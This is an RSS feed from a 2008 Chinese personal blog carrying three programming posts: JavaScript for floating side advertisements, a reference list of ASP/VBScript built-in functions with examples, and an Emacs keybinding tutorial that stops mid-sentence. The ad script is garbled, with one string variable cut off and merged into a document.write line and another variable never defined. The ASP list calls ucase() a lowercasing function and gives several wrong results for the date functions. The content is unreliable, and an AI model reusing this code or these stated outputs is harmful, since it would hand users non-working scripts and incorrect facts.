<?xml version="1.0" encoding="GBK" ?>
<rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dcterms="http://purl.org/dc/terms/">
 <channel>
  	  <title><![CDATA[WaITinG BaR]]></title>
	  <link>http://gaojuiya.blog.163.com</link>
	  <description><![CDATA[WaITinG闭关中。。不想见人。。 No man or woman is worth your tears,and the one who is ,won&apos;t make you cry. ]]></description>
	  <language>zh-CN</language>
	  <pubDate>Fri, 25 Jul 2008 12:21:46 +0800</pubDate>
	  <lastBuildDate>Fri, 25 Jul 2008 12:21:46 +0800</lastBuildDate>
	  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
	  <generator><![CDATA[NetEase Space]]></generator>
	  <managingEditor><![CDATA[gaojuiya]]></managingEditor>
	  <webMaster><![CDATA[WaITinG]]></webMaster>
		  <ttl>120</ttl>
	  <image>
	  	<title><![CDATA[WaITinG BaR]]></title>
	  	<url>http://ava.blog.163.com/photo/EB7JSfgC6jRtPcy8IWlm6Q==/169166461004072063.jpg</url>
	  	<link>http://gaojuiya.blog.163.com</link>
	  </image>
  <item>
  	<title><![CDATA[首页对联浮动代码]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200864115449335</link>
    <description><![CDATA[<div><P>var showad = true;</P>
<P>var Toppx = 60;&nbsp;&nbsp; //上端位置</P>
<P>var AdDivW = 100;&nbsp; //宽度</P>
<P>var AdDivH = 360;&nbsp; //高度</P>
<P>var PageWidth = 800; //页面多少宽度象素下正好不出现左右滚动条</P>
<P>var MinScreenW = 1024; //显示广告的最小屏幕宽度象素 </P>
<P>var ClosebuttonHtml = '&lt;div align="right" style="position: absolute;top:0px;right:0px;margin:2px;padding:2px;z-index:2000;"&gt;&lt;a href="javascript:;" onclick="hidead()" style="color:#000000;text-decoration:none;font-size:12px;"&gt;关闭&lt;/a&gt;&lt;/div&gt;'</P>
<P>var AdContentHtml = '&lt;div align="center" style="color:green;font-size:23pt;font-family:黑体;"&gt;&lt;a href="document.write ('&lt;div id="Javascript.LeftDiv" style="position: absolute;border: 1px solid #336699;background-color:#EEEEE2;z-index:1000;width:'+AdDivW+'px;height:'+AdDivH+'px;top:-1000px;word-break:break-all;display:none;"&gt;'+ClosebuttonHtml+'&lt;div&gt;'+AdContentHtml+'&lt;/div&gt;&lt;/div&gt;');</P>
<P>document.write ('&lt;div id="Javascript.RightDiv" style="position: absolute;border: 1px solid #336699;background-color:#EEEEE2;z-index:1000;width:'+AdDivW+'px;height:'+AdDivH+'px;top:-1000px;word-break:break-all;display:none;"&gt;'+ClosebuttonHtml+'&lt;div&gt;'+AdContentHtml1+'&lt;/div&gt;&lt;/div&gt;');</P>
<P>function scall(){</P>
<P>&nbsp;if(!showad){return;}</P>
<P>&nbsp;if (window.screen.width&lt;MinScreenW){</P>
<P>&nbsp; alert("临时提示：\n\n显示器分辨率宽度小于"+MinScreenW+",不显示广告");</P>
<P>&nbsp; showad = false;</P>
<P>&nbsp; document.getElementById("Javascript.LeftDiv").style.display="none";</P>
<P>&nbsp; document.getElementById("Javascript.RightDiv").style.display="none";</P>
<P>&nbsp; return;</P>
<P>&nbsp;}</P>
<P>&nbsp;var Borderpx = ((window.screen.width-PageWidth)/2-AdDivW)/2;</P>
<P>&nbsp;document.getElementById("Javascript.LeftDiv").style.display="";</P>
<P>&nbsp;document.getElementById("Javascript.LeftDiv").style.top=document.body.scrollTop+Toppx;</P>
<P>&nbsp;document.getElementById("Javascript.LeftDiv").style.left=document.body.scrollLeft+Borderpx;</P>
<P>&nbsp;document.getElementById("Javascript.RightDiv").style.display="";</P>
<P>&nbsp;document.getElementById("Javascript.RightDiv").style.top=document.body.scrollTop+Toppx;</P>
<P>&nbsp;document.getElementById("Javascript.RightDiv").style.left=document.body.scrollLeft+document.body.clientWidth-document.getElementById("Javascript.RightDiv").offsetWidth-Borderpx;</P>
<P>}</P>
<P>function hidead()</P>
<P>{</P>
<P>&nbsp;showad = false;</P>
<P>&nbsp;document.getElementById("Javascript.LeftDiv").style.display="none";</P>
<P>&nbsp;document.getElementById("Javascript.RightDiv").style.display="none";</P>
<P>}</P>
<P>window.onscroll=scall;</P>
<P>window.onresize=scall;</P>
<P>window.onload=scall;</P>
<P>&nbsp;</P>
<P>保存成duilian.js文件,然后用&lt;script src="duilian.js"&gt; &lt;/script&gt;就可以用咯..<BR></P>
<P>&nbsp;</P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200864115449335</comments>
    <slash:comments>1</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200864115449335</guid>
    <pubDate>Fri, 4 Jul 2008 11:54:49 +0800</pubDate>
    <dcterms:modified>2008-07-04T14:48:08+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[asp内置函数列表]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/2801612920086201853115</link>
    <description><![CDATA[<div><P>1.ucase()函数，这个函数里面包裹了一些能把大写变成小写的代码。<BR>&lt;%<BR>a="this is fif studios!"<BR>b=ucase(a)<BR>response.write(a)<BR>response.write("&lt;br/&gt;")<BR>response.write(b)<BR>%&gt;</P>
<P>结果：<BR>this is fif studios!<BR>THIS IS FIF STUDIOS!<BR>2.Sqr() 函数，会立即返回数的平方根<BR>3.Date()函数，会返回当前系统的日期<BR>4.Abs()函数，返回数字的绝对值<BR>5.Sin()函数，返回某个角的正弦值<BR>6.now()函数，获取现在的时间<BR>&lt;%<BR>a=now()<BR>response(a)<BR>%&gt;</P>
<P>结果：<BR>2007-10-29 22:16:23<BR>5.FormDateTime(Date[，NamedFormat])函数，格式化时间<BR>Date 必选，要被格式化的日期表达式。<BR>NamedFormat 可选，指示所使用的日期/时间格式的数值，如果省略，则使用vbGeneralDate。</P>
<P><BR>6.Array()函数返回一个数组 <BR>表达式 Array(list) <BR>允许数据类型: 字符，数字均可 <BR>实例： <BR>&lt;% <BR>Dim myArray() <BR>For i = 1 to 7 <BR>Redim Preserve myArray(i) <BR>myArray(i) = WeekdayName(i) <BR>Next <BR>%&gt; <BR>返回结果: 建立了一个包含7个元素的数组myArray <BR>myArray("Sunday","Monday", ... ... "Saturday") <BR>7.CInt() 函数将一个表达式转化为数字类型 <BR>表达式 CInt(expression) <BR>允许数据类型: 任何有效的字符均可 <BR>实例： <BR>&lt;% <BR>f = "234" <BR>response.write cINT(f) + 2 <BR>%&gt; <BR>返回结果: 236 <BR>转化字符"234"为数字"234"，如果字符串为空，则返回0值 <BR>8.CreateObject() 函数建立和返回一个已注册的ACTIVEX组件的实例。 <BR>表达式 CreateObject(objName) <BR>允许数据类型: objName 是任何一个有效、已注册的ACTIVEX组件的名字. <BR>实例： &lt;% <BR>Set con = Server.CreateObject("ADODB.Connection") <BR>%&gt; <BR>9.CStr() 函数转化一个表达式为字符串. <BR>表达式 CStr(expression) <BR>允许数据类型: expression 是任何有效的表达式。 <BR>实例： &lt;% <BR>s = 3 + 2 <BR>response.write "The 返回结果 is: " &amp; cStr(s) <BR>%&gt; <BR>返回结果: 转化数字“5”为字符“5”。 <BR>10.Date() <BR>函数返回当前系统日期. <BR>表达式 Date() <BR>允许数据类型: None. <BR>实例： &lt;%=Date%&gt; <BR>返回结果: 9/9/00 <BR>11.DateAdd()函数返回一个被改变了的日期。 <BR>表达式 DateAdd(timeinterval,number,date) <BR>允许数据类型: <BR>timeinterval is the time interval to add; <BR>number is amount of time intervals to add; <BR>and date is the starting date. <BR>实例： &lt;% <BR>currentDate = #9/9/00# <BR>newDate = DateAdd("m",3,currentDate) <BR>response.write newDate <BR>%&gt; <BR>&lt;% <BR>currentDate = #12:34:45 PM# <BR>newDate = DateAdd("h",3,currentDate) <BR>response.write newDate <BR>%&gt; <BR>返回结果: 9/9/00 <BR>3:34:45 PM <BR>"m" = "month"; <BR>"d" = "day"; <BR>If currentDate is in time format then, <BR>"h" = "hour"; <BR>"s" = "second"; <BR>12.DateDiff() <BR>函数返回两个日期之间的差值 。 <BR>表达式 DateDiff(timeinterval,date1,date2 [, firstdayofweek [, firstweekofyear]]) <BR>允许数据类型: timeinterval 表示相隔时间的类型，如“M“表示“月”。 <BR>实例： &lt;% <BR>fromDate = #9/9/00# <BR>toDate = #1/1/2000# <BR>response.write "There are " &amp; _ <BR>DateDiff("d",fromDate,toDate) &amp; _ <BR>" days to millenium from 9/9/00." <BR>%&gt; <BR>返回结果: 从9/9/00 到2000年还有 150 天. <BR>13.Day()函数返回一个月的第几日 . <BR>表达式 Day(date) <BR>允许数据类型: date 是任何有效的日期。 <BR>实例： &lt;%=Day(#9/9/00#)%&gt; <BR>返回结果: 4 <BR>14.FormatCurrency()函数返回表达式，此表达式已被格式化为货币值 <BR>表达式 FormatCurrency(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit]]]]) <BR>允许数据类型: Digit 指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置; LeadingDigit 三态常数，指示是否显示小数值小数点前面的零。 <BR>实例： &lt;%=FormatCurrency(34.3456)%&gt; <BR>返回结果: $34.35 <BR>15.FormatDateTime()函数返回表达式，此表达式已被格式化为日期或时间 <BR>表达式 FormatDateTime(Date, [, NamedFormat]) <BR>允许数据类型: NamedFormat 指示所使用的日期/时间格式的数值，如果省略，则使用 vbGeneralDate. <BR>实例： &lt;%=FormatDateTime("09/9/00", vbLongDate)%&gt; <BR>返回结果: Sunday, September 09, 2000 <BR>16.FormatNumber() 函数返回表达式，此表达式已被格式化为数值. <BR>表达式 FormatNumber(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit]]]]) <BR>允许数据类型: Digit 指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。; LeadingDigit i指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。; Paren 指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。; GroupDigit i指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。. <BR>实例： &lt;%=FormatNumber(45.324567, 3)%&gt; <BR>返回结果: 45.325 <BR>17.FormatPercent() 函数返回表达式，此表达式已被格式化为尾随有 % 符号的百分比（乘以 100 ）。 (%) <BR>表达式 FormatPercent(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit]]]]) <BR>允许数据类型: 同上. <BR>实例： &lt;%=FormatPercent(0.45267, 3)%&gt; <BR>返回结果: 45.267% <BR>Hour() 函数以24时返回小时数. <BR>表达式 Hour(time) <BR>允许数据类型: <BR>实例： &lt;%=Hour(#4:45:34 PM#)%&gt; <BR>返回结果: 16 <BR>(Hour has been converted to 24-hour system) <BR>18Instr() 函数返回字符或字符串在另一个字符串中第一次出现的位置. <BR>表达式 Instr([start, ] strToBeSearched, strSearchFor [, compare]) <BR>允许数据类型: Start为搜索的起始值，strToBeSearched接受搜索的字符串 strSearchFor要搜索的字符.compare比较方式（详细见ASP常数） <BR>实例： &lt;% <BR>strText = "This is a test!!" <BR>pos = Instr(strText, "a") <BR>response.write pos <BR>%&gt; <BR>返回结果: 9 <BR>19.InstrRev()函数同上，只是从字符串的最后一个搜索起 <BR>表达式 InstrRev([start, ] strToBeSearched, strSearchFor [, compare]) <BR>允许数据类型: 同上. <BR>实例： &lt;% <BR>strText = "This is a test!!" <BR>pos = InstrRev(strText, "s") <BR>response.write pos <BR>%&gt; <BR>返回结果: 13 <BR>20.Int() 函数返回数值类型,不四舍五入。 <BR>表达式 Int(number) <BR>允许数据类型: <BR>实例： &lt;%=INT(32.89)%&gt; <BR>返回结果: 32 <BR>21.IsArray()函数判断一对象是否为数组，返回布尔值 . <BR>表达式 IsArray(name) <BR>实例： &lt;% <BR>strTest = "Test!" <BR>response.write IsArray(strTest) <BR>%&gt; <BR>返回结果: False <BR>22.IsDate()函数判断一对象是否为日期，返回布尔值 <BR>表达式 IsDate(expression) <BR>实例： &lt;% <BR>strTest = "9/4/2000" <BR>response.write IsDate(strTest) <BR>%&gt; <BR>返回结果: True <BR>23.IsEmpty()函数判断一对象是否初始化，返回布尔值. <BR>表达式 IsEmpty(expression) <BR>实例： &lt;% <BR>Dim i <BR>response.write IsEmpty(i) <BR>%&gt; <BR>返回结果: True <BR>24.IsNull() 函数判断一对象是否为空，返回布尔值. <BR>表达式 IsNull(expression) <BR>实例： &lt;% <BR>Dim i <BR>response.write IsNull(i) <BR>%&gt; <BR>返回结果: False <BR>25.IsNumeric()函数判断一对象是否为数字，返回布尔值. <BR>表达式 IsNumeric(expression) <BR>实例： &lt;% <BR>i = "345" <BR>response.write IsNumeric(i) <BR>%&gt; <BR>返回结果: True <BR>就算数字加了引号，ASP还是认为它是数字。 <BR>26.IsObject()函数判断一对象是否为对象，返回布尔值. <BR>表达式 IsObject(expression) <BR>实例： &lt;% <BR>Set con = Server.CreateObject("ADODB.Connection") <BR>response.write IsObject(con) <BR>%&gt; <BR>返回结果: True <BR>27.LBound() 函数返回指定数组维的最小可用下标. <BR>表达式 Lbound(arrayname [, dimension]) <BR>实例： &lt;% <BR>i = Array("Monday","Tuesday","Wednesday") <BR>response.write LBound(i) <BR>%&gt; <BR>返回结果: 0 </P>
<P>28.LCase()函数 返回字符串的小写形式 <BR>表达式 Lcase(string) <BR>实例： &lt;% <BR>strTest = "This is a test!" <BR>response.write LCase(strTest) <BR>%&gt; <BR>返回结果: this is a test! <BR>29.Left()函数返回字符串左边第length个字符以前的字符（含第length个字符). <BR>表达式 Left(string, length) <BR>实例： &lt;% <BR>strTest = "This is a test!" <BR>response.write Left(strTest, 3) <BR>%&gt; <BR>返回结果: Thi <BR>30.Len()函数返回字符串的长度. <BR>表达式 Len(string | varName) <BR>实例： &lt;% <BR>strTest = "This is a test!" <BR>response.write Len(strTest) <BR>%&gt; <BR>返回结果: 15 <BR>31.LTrim()函数去掉字符串左边的空格. <BR>表达式 LTrim(string) <BR>实例： &lt;% <BR>strTest = " This is a test!" <BR>response.write LTrim(strTest) <BR>%&gt; <BR>返回结果: This is a test! <BR>32.Mid()函数返回特定长度的字符串(从start开始,长度为length). <BR>表达式 Mid(string, start [, length]) <BR>实例： &lt;% <BR>strTest = "This is a test! Today is Monday." <BR>response.write Mid(strTest, 17, 5) <BR>%&gt; <BR>返回结果: Today <BR>33.Minute()函数返回时间的分钟. <BR>表达式 Minute(time) <BR>实例： &lt;%=Minute(#12:45:32 PM#)%&gt; <BR>返回结果: 45 <BR>34.Month()函数返回日期. <BR>表达式 Month(date) <BR>实例： &lt;%=Month(#08/04/99#)%&gt; <BR>返回结果: 8 <BR>35.MonthName()函数返回指定月份 <BR>表达式 MonthName(month, [, Abb]) <BR>实例： &lt;%=MonthName(Month(#08/04/99#))%&gt; <BR>返回结果: August <BR>36.Now()函数返回系统时间 <BR>表达式 Now() <BR>实例： &lt;%=Now%&gt; <BR>返回结果: 9/9/00 9:30:16 AM <BR>37.Right()函数返回字符串右边第length个字符以前的字符（含第length个字符). <BR>表达式 Right(string, length) <BR>实例： &lt;% <BR>strTest = "This is an test!" <BR>response.write Right(strTest, 3) <BR>%&gt; <BR>返回结果: st! <BR>38.Rnd()函数产生一个随机数. <BR>表达式 Rnd [ (number) ] <BR>实例： &lt;% <BR>Randomize() <BR>response.write RND() <BR>%&gt; <BR>返回结果: 任何一个在0 到 1 之间的数 <BR>39.Round()函数返回按指定位数进行四舍五入的数值. <BR>表达式 Round(expression [, numRight]) <BR>实例： &lt;% <BR>i = 32.45678 <BR>response.write Round(i) <BR>%&gt; <BR>返回结果: 32 <BR>40.Rtrim()函数去掉字符串右边的字符串. <BR>表达式 Rtrim(string) <BR>实例： &lt;% <BR>strTest = "This is a test!! " <BR>response.write RTrim(strTest) <BR>%&gt; <BR>返回结果: This is a test!! <BR>41.Split()函数将一个字符串分割并返回分割结果 <BR>表达式 Split (S[，d]) <BR>实例：&lt;%V= Split(A,B,C) <BR>For i = 0 To UBound(V) <BR>Response.Write V(i) <BR>Next <BR>%&gt; <BR>返回结果: A B C <BR>42.Second()函数返回秒. <BR>表达式 Second(time) <BR>实例： &lt;%=Second(#12:34:28 PM#)%&gt; <BR>返回结果: 28 <BR>43.StrReverse()函数反排一字符串 <BR>表达式 StrReverse(string) <BR>实例： &lt;% <BR>strTest = "This is a test!!" <BR>response.write StrReverse(strTest) <BR>%&gt; <BR>返回结果: !!tset a si sihT <BR>44.Time()函数返回系统时间. <BR>表达式 Time() <BR>实例： &lt;%=Time%&gt; <BR>返回结果: 9:58:28 AM <BR>45.Trim()函数去掉字符串左右的空格. <BR>表达式 Trim(string) <BR>实例： &lt;% <BR>strTest = " This is a test!! " <BR>response.write Trim(strTest) <BR>%&gt; <BR>返回结果: This is a test!! <BR>46.UBound()函数返回指定数组维数的最大可用下标&gt;. <BR>表达式 Ubound(arrayname [, dimension]) <BR>实例： &lt;% <BR>i = Array("Monday","Tuesday","Wednesday") <BR>response.write UBound(i) <BR>%&gt; <BR>返回结果: 2 <BR>47.UCase() <BR>函数返回字符串的大写形式. <BR>表达式 UCase(string) <BR>允许数据类型: <BR>实例： &lt;% <BR>strTest = "This is a test!!" <BR>response.write UCase(strTest) <BR>%&gt; <BR>返回结果: THIS IS A TEST!! <BR>48.VarType()函数返回指示变量子类型的值 <BR>表达式 VarType(varName) <BR>实例： &lt;% <BR>i = 3 <BR>response.write varType(i) <BR>%&gt; <BR>返回结果: 2(数字)详见"asp常数" <BR>49.WeekDay()函数返回在一周的第几天. <BR>表达式 WeekDay(date [, firstdayofweek]) <BR>实例： &lt;% <BR>d = #9/9/00# <BR>response.write Weekday(d) <BR>%&gt; <BR>返回结果: 4(星期三) <BR>50.WeekDayName()函数返回一周第几天的名字. <BR>表达式 WeekDayName(weekday [, Abb [, firstdayofweek]]) <BR>实例： &lt;% <BR>d = #9/9/00# <BR>response.write WeekdayName(Weekday(d)) <BR>%&gt; <BR>返回结果: Wednesday <BR>51.Year()函数返回当前的年份. <BR>表达式 Year(date) <BR>实例： &lt;%=Year(#9/9/00#)%&gt; <BR>返回结果: 1999<BR></P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/2801612920086201853115</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/2801612920086201853115</guid>
    <pubDate>Wed, 2 Jul 2008 00:18:53 +0800</pubDate>
    <dcterms:modified>2008-07-02T00:18:53+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[Emacs]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200851642826630</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">Emacs 启动: </P>
<P style="TEXT-INDENT: 2em">直接打emacs, 如果有X-windows就会开视窗. 如果不想用X 的版本, </P>
<P style="TEXT-INDENT: 2em">就用 emacs -nw&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (No windows)起动. </P>
<P style="TEXT-INDENT: 2em">符号说明 </P>
<P style="TEXT-INDENT: 2em">C-X 表示按住CTRL键, 然後按X, 再把CTRL, X一起放开. </P>
<P style="TEXT-INDENT: 2em">M-X&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; META&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; META </P>
<P style="TEXT-INDENT: 2em">在没有META键的电脑上, M-X 等於先按 ESC键, 接著按 X键. </P>
<P style="TEXT-INDENT: 2em">Sun上面META键就是菱形的那个键. </P>
<P style="TEXT-INDENT: 2em">有些系统META键就是ALT键.(或者某一边的ALT键) </P>
<P style="TEXT-INDENT: 2em">C-X或 M-X的X没有大小写分别. </P>
<P style="TEXT-INDENT: 2em">Emacs按键命令基本上是一串C-&lt;chr&gt;和M-&lt;chr&gt;组成的. </P>
<P style="TEXT-INDENT: 2em">超过两个以上的按键命令, Emacs会在萤幕最下面一行显示你按过什麽. </P>
<P style="TEXT-INDENT: 2em">这一行叫作mini buffer </P>
<P style="TEXT-INDENT: 2em">结束Emacs按 C-x C-c </P>
<P style="TEXT-INDENT: 2em">取消执行 C-g </P>
<P style="TEXT-INDENT: 2em">有些Emacs命令会跑很久, 可以用C-g中断之. 按错键也可以按C-g取消. </P>
<P style="TEXT-INDENT: 2em">上下移动&nbsp;&nbsp;&nbsp; C-p 向上 (previous line) C-n向下(next line) </P>
<P style="TEXT-INDENT: 2em">左右移动&nbsp;&nbsp;&nbsp; C-f 向右 (forward) C-b 向左 (backward) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; 其实Emacs内部没有行的概念, 把一篇文章放在一个大buffer </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; 里面, 所以C-f (forward)就是向档尾移动, C-b (backward) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; 是移回去的意思, 一次一个字. </P>
<P style="TEXT-INDENT: 2em">翻页&nbsp;&nbsp; 下一页 C-v (view next screen) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上一页 M-v&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; 翻页时,上一页末尾会留一点在萤幕最上面,以维持连续性.&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">Emacs在游标接近萤幕最下方时会自动跳半页, 把档案往前挪一点, </P>
<P style="TEXT-INDENT: 2em">方便阅读. </P>
<P style="TEXT-INDENT: 2em">重画萤幕 C-L </P>
<P style="TEXT-INDENT: 2em">Emacs里面游标的专有名词叫point. point == 游标目前的 点 </P>
<P style="TEXT-INDENT: 2em">游标一次跳一个字(word) M-f&nbsp;&nbsp; 往後跳 M-b </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 注意 C-f 与 M-f, C-b 与 M-b的对称性. </P>
<P style="TEXT-INDENT: 2em">移到行头 C-a&nbsp;&nbsp; 行尾 C-e </P>
<P style="TEXT-INDENT: 2em">移到句首 M-a&nbsp;&nbsp; 到句尾 M-e </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (M-a 到上一个句点後面,一个句子的起头. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; M-e 到句点後面) </P>
<P style="TEXT-INDENT: 2em">移到档头 M-&lt; 档尾 M-&gt; </P>
<P style="TEXT-INDENT: 2em">删除游标目前指的/後面的字 C-d </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 前面的字 DEL&nbsp;&nbsp; (Delete键) </P>
<P style="TEXT-INDENT: 2em">DEL的正名叫Rubout (Rub out) </P>
<P style="TEXT-INDENT: 2em">M-DEL 往回删一个字(word) </P>
<P style="TEXT-INDENT: 2em">M-d&nbsp;&nbsp;&nbsp; 往前删 (游标後面) </P>
<P style="TEXT-INDENT: 2em">C-k&nbsp;&nbsp;&nbsp; 删至行尾 (kill) </P>
<P style="TEXT-INDENT: 2em">M-k&nbsp;&nbsp;&nbsp; 删到一句子结尾(删到句点) (kill) </P>
<P style="TEXT-INDENT: 2em">注意Backspace = C-h 在Emacs下是help的意思 </P>
<P style="TEXT-INDENT: 2em">後面有(kill)的, 表示此删除的动作是kill, 不太等於delete. </P>
<P style="TEXT-INDENT: 2em">emacs会把kill掉的东西放到kill ring去, 算是一种暂存的地方, </P>
<P style="TEXT-INDENT: 2em">以後可以叫出来.见 yank说明. </P>
<P style="TEXT-INDENT: 2em">Undo: C-x u </P>
<P style="TEXT-INDENT: 2em">C-_ 等於 C-x u&nbsp;&nbsp;&nbsp;&nbsp; 有些DEC终端机, C-/就是C-_ </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有时等於C-Shift- - </P>
<P style="TEXT-INDENT: 2em">重复执行 </P>
<P style="TEXT-INDENT: 2em">举例, 向右移 8个字, C-u 8 C-f </P>
<P style="TEXT-INDENT: 2em">C-u 在Emacs里是蛮特别的,用来设定一些引数(argument/repeat count) </P>
<P style="TEXT-INDENT: 2em">给其後的命令. </P>
<P style="TEXT-INDENT: 2em">C-u 2 0 C-n 向下移 20行 </P>
<P style="TEXT-INDENT: 2em">有一个特别的例外, C-u 3 C-v 不是翻三页, 而是整个萤幕向上移三行. </P>
<P style="TEXT-INDENT: 2em">据说这比较有意义. </P>
<P style="TEXT-INDENT: 2em">C-u 1 0 C-x u&nbsp;&nbsp;&nbsp; UNDO 10次 </P>
<P style="TEXT-INDENT: 2em">给C-L一个引数会怎麽样: </P>
<P style="TEXT-INDENT: 2em">C-u 0 C-l 会重画萤幕,并且把目前的行移到萤幕第一行. </P>
<P style="TEXT-INDENT: 2em">另外, C-u 100&nbsp;&nbsp;&nbsp; 等於 M-100 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C-u 数字&nbsp;&nbsp; 等於 M-数字 </P>
<P style="TEXT-INDENT: 2em">X windows 下,&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">C-left C-right 一次移一个字(word). </P>
<P style="TEXT-INDENT: 2em">C-up C-down 移动一段 (paragraphs/C语言的话是block) </P>
<P style="TEXT-INDENT: 2em">Home = C-a </P>
<P style="TEXT-INDENT: 2em">End = C-e </P>
<P style="TEXT-INDENT: 2em">C-Home = M-&lt; </P>
<P style="TEXT-INDENT: 2em">C-end = M-&gt; </P>
<P style="TEXT-INDENT: 2em">PgUp PgDn = M-v C-v </P>
<P style="TEXT-INDENT: 2em">设定重覆次数更加简单, </P>
<P style="TEXT-INDENT: 2em">比如要向右移10个字 C-1 C-0 right-arrow </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 就是按住CTRL, 然後打10就对了, 比 C-u 1 0 简单. </P>
<P style="TEXT-INDENT: 2em">Mouse中键用来选取有hi-light的地方. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 右键是menu-button </P>
<P style="TEXT-INDENT: 2em">如果不小心按两次ESC, 等於 M-ESC,&nbsp;&nbsp; 会有一个讯息跑出来 </P>
<P style="TEXT-INDENT: 2em">说你按到一个被disable的命令. 这是高级指令, 作者认为 </P>
<P style="TEXT-INDENT: 2em">初学者用不道,所以会问你要不要启动它, 一般回答no. </P>
<P style="TEXT-INDENT: 2em">如果某一行太长, 萤幕显示不下, Emacs会在萤幕最右边打个$, </P>
<P style="TEXT-INDENT: 2em">表示此行未完,右边还有. </P>
<P style="TEXT-INDENT: 2em">把一行拆成两行: 在想拆处按Enter即可. </P>
<P style="TEXT-INDENT: 2em">合并两行为一行: 在行尾按C-d (或行首按DEL) </P>
<P style="TEXT-INDENT: 2em">Yank: 吐出被删掉的(killed)东西. </P>
<P style="TEXT-INDENT: 2em">只要用kill (C-k, M-k等) 删除, 超过一个字的资料, </P>
<P style="TEXT-INDENT: 2em">emacs就会把它存起来, 然後C-y 可以把它叫出来. </P>
<P style="TEXT-INDENT: 2em">功能跟Cut &amp; Paste一样. Kill 和delete不一样, 只有被 </P>
<P style="TEXT-INDENT: 2em">kill掉的东西才能用yank吐回来. </P>
<P style="TEXT-INDENT: 2em">游标在同一地方不动, 连续kill掉的资料会被当成一次kill掉的, </P>
<P style="TEXT-INDENT: 2em">yank时会一起回来. </P>
<P style="TEXT-INDENT: 2em">被Kill掉的资料是放在称作 kill ring的资料结构上面, ring就是个圆圈, </P>
<P style="TEXT-INDENT: 2em">被kill掉的东西会依序摆在圆圈上. yank 会放回最近一次kill掉的资料. </P>
<P style="TEXT-INDENT: 2em">如果不是你想要的话, 用M-y 可以换.&nbsp;&nbsp; (M-y就是告诉emacs, 不对不对, </P>
<P style="TEXT-INDENT: 2em">我不是要这一个,换前一个给我). </P>
<P style="TEXT-INDENT: 2em">M-y 要紧接在C-y之後. </P>
<P style="TEXT-INDENT: 2em">拷贝文字的方法== 连续 C-k 几次,&nbsp;&nbsp; 把要拷贝的行全部删掉, </P>
<P style="TEXT-INDENT: 2em">然後按 C-y 弄回来. 再到想复制的地方按一次C-y, 就成了. </P>
<P style="TEXT-INDENT: 2em">把要拷贝的资料kill掉在yank回来好像很笨. 是有比较文明的 </P>
<P style="TEXT-INDENT: 2em">方法, 那就是M-w, 不过较麻烦. </P>
<P style="TEXT-INDENT: 2em">首先,要先设标记. Mark 用 C-SPC 或 C-@ 设. 然候 </P>
<P style="TEXT-INDENT: 2em">把游标移到另一端, 按 M-w 就可以把 mark 到 point间的 </P>
<P style="TEXT-INDENT: 2em">字存到kill ring上. point 就是游标的意思. </P>
<P style="TEXT-INDENT: 2em">Emacs不会把Mark起来的地方用highlight表示, 除非在X下. </P>
<P style="TEXT-INDENT: 2em">在X下, 可以用M-w 来拷贝用滑鼠反白的文字. </P>
<P style="TEXT-INDENT: 2em">kill &amp; yank 就是 cut &amp; paste的意思. </P>
<P style="TEXT-INDENT: 2em">以上大部份指令对Bash的命令列编辑也有效 </P>
<P style="TEXT-INDENT: 2em">档案操作 </P>
<P style="TEXT-INDENT: 2em">读档: Emacs术语叫 finding a file. </P>
<P style="TEXT-INDENT: 2em">C-x C-f 然後在mini-buffer输入档名. 输入档名时, SPC键有 </P>
